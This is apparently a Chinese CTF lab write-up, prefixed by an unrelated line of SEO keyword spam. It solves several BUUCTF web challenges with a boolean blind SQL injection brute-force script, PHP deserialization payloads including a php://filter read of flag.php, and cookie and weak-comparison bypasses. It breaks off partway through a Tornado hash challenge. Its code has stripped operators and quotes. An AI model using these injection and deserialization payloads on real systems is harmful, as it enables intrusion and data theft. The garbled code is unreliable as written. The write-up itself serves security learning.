东莞建设网站培训,信阳住房和城乡建设厅网站,网站一直收录不了,唐山制作网站软件第8天
Web
[CISCN2019 华北赛区 Day2 Web1]Hack World 题目明确提示flag在flag表里的flag列#xff0c;这里先尝试1 返回#xff1a;你好#xff0c;glzjin想要一个女朋友。
再尝试1#xff0c;返回bool(false) 到这里就感觉是布尔盲注的题目类型了#xff08;虽然我没…第8天
Web
[CISCN2019 华北赛区 Day2 Web1]Hack World 题目明确提示flag在flag表里的flag列这里先尝试1 返回你好glzjin想要一个女朋友。
再尝试1返回bool(false) 到这里就感觉是布尔盲注的题目类型了虽然我没做过布尔盲注
最后尝试1 or返回SQL Injection Checked. 说明or被过滤了空格也被过滤了
经过多次尝试发现页面只有以上三种返回提示如果查询语句执行结果为真那么输出你好glzjin想要一个女朋友。为假则输出bool(false)检测到过滤词则输出SQL Injection Checked.
因此本题考虑布尔盲注
对于布尔盲注通常有两个函数
length()函数判断查询结果的长度substr()函数截取每一个字符并穷举出字符内容
比如想要获取数据库名的长度本题不需要
?id1 and length( database() )猜测长度从1开始不断递增直到正确 -- a页面异常空显示表示猜解长度有误 页面正常显示表示猜解长度正确
获取数据长度之后就可以获取其具体值
?id1 and ascii(substr( 查询语句 ,1,1))32 -- a查询结果由一个个字符组成对应的ASCII编码是32~126。用MySQL的 substr()函数 截取查询结果的第一个字符使用 ascii()函数 将截取的字符转换成 ASCLL编码依次判断是否等于32、33直到26。
有关布尔盲注的详解文章布尔盲注怎么用一看你就明白了。布尔盲注原理步骤实战教程
那么结合这道题我们就可以构造出
if((ascii(substr((select(flag)from(flag)),1,1))102),1,0) //*利用替代空格*在SQL中IF可以进行判断格式为IF(condition, value_if_true, value_if_false)
condition一个条件表达式其结果为布尔值TRUE 或 FALSE。 value_if_true如果 condition 为 TRUE则返回此值。 value_if_false如果 condition 为 FALSE则返回此值。
但一个个测试ASCII码比较麻烦这里用到Python脚本
import requests# 网站路径
url http://b40b7492-f0c5-41c8-8c92-4cf070718e9e.node5.buuoj.cn:81/index.php# post请求参数
data {id:
}# 枚举字符
def getStr():str # 从第一个字符开始截取for l in range(1, 50):# 枚举字符的每一种可能性for n in range(32, 126):data[id] fif((ascii(substr((select(flag)from(flag)),{l},1)){n}),1,0)response requests.post(urlurl, datadata)if Hello in response.text:str chr(n)print(第, l, 个字符枚举成功, str )breakgetStr()即可获得flag [网鼎杯 2020 青龙组]AreUSerialz
打开网站直接给出了源代码
?php
include(flag.php);
highlight_file(__FILE__);
class FileHandler {protected $op;protected $filename;protected $content;function __construct() { //初始化对象及属性并调用 process() 方法$op 1;$filename /tmp/tmpfile;$content Hello World!;$this-process();}public function process() {if($this-op 1) {$this-write();} else if($this-op 2) { //我们需要process函数执行到op2这个地方$res $this-read();$this-output($res);} else {$this-output(Bad Hacker!);}}private function write() { //这个函数用不上if(isset($this-filename) isset($this-content)) {if(strlen((string)$this-content) 100) {$this-output(Too long!);die();}$res file_put_contents($this-filename, $this-content);if($res) $this-output(Successful!);else $this-output(Failed!);} else {$this-output(Failed!);}}private function read() { //这个函数是关键$res ;if(isset($this-filename)) {$res file_get_contents($this-filename);}return $res;}private function output($s) {echo [Result]: br;echo $s;}function __destruct() {if($this-op 2)$this-op 1;$this-content ;$this-process();}
}function is_valid($s) {for($i 0; $i strlen($s); $i)if(!(ord($s[$i]) 32 ord($s[$i]) 125))return false;return true;
}if(isset($_GET{str})) {$str (string)$_GET[str];if(is_valid($str)) { //is_valid($str)用于检查一个字符串是否包含有效的可打印字符。$obj unserialize($str);}
}可以看出这是一道PHP反序列化的题目为了获得flag需要以下步骤
通过GET方法给str传参绕过is_valid()的检测绕过$this-op 2防止op的值被修改为2让file_get_contents($this-filename)能读取到flag.php的值
基于以上几点可以构造下面的PHP代码
?php
class FileHandler {public $op2; /*由于$this-op 2是弱类型比较而
$this-op 2是强类型比较所以这里的整数2可以绕过__destruct()且不影响结果*/public $filename./flag.php;public $content;}
$anew FileHandler;
$str1serialize($a);
echo $str1;
?上面将属性类型protected改为public 是为了避免出现打印符号protected反序列化后为%00会被is_valid函数检测到并且PHP 7.1以上的版本对属性类型不敏感所以可以将属性改为publicpublic属性序列化不会出现不可见字符有关其他方法绕过打印符号检测的文章[网鼎杯 2020 青龙组]AreUSerialz1
Payload
?strO:11:FileHandler:3:{s:2:op;i:2;s:8:filename;s:10:./flag.php;s:7:content;N;}接着在返回页面注释中就能看到flag 这里也可以利用伪协议输出网页内容同样能够将注释内容输出
?php
class FileHandler{public $op 2;public $filename php://filter/readconvert.base64-encode/resourceflag.php;public $content 2;
}
$a new FileHandler();
echo serialize($a);
?[极客大挑战 2019]BuyFlag 这是一个购买flag的网页打开右上角的菜单 F12后发现网站泄露源代码 由于是弱类型让password404a即可也可以设为404%00函数会认为这是个字符串
先通过HackBar构造password404%00然后使用BP抓包必须先在HackBar构造POST直接在BP构造可能因为请求包长度变化失效
由于网站限定只有CUIT的人可以购买通过抓包发现Cookie: user0将其设为1就能绕过 然后提示需要Flag need your 100000000 money
将password404%00换成password404%00money100000000又提示Nember lenth is too long
这里将其改成科学计数法即可password404%00money1e9
成功拿到flag [护网杯 2018]easy_tornado
打开网站就是三个txt文件 /flag.txt
flag in /fllllllllllllag/welcome.txt
render/hints.txt
md5(cookie_secretmd5(filename))当点进flag.txt时url变为
http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename/flag.txtfilehash41a9f15a56218197f80a148252160b57所以为了获得flag我们应该是要访问 ?filename/fllllllllllllagfilehashmd5(cookie_secretmd5(fllllllllllllag))
flag位于的文件是知道了但是用于md5加密的cookie_secret还不知道因此接下来的重点是找到这个值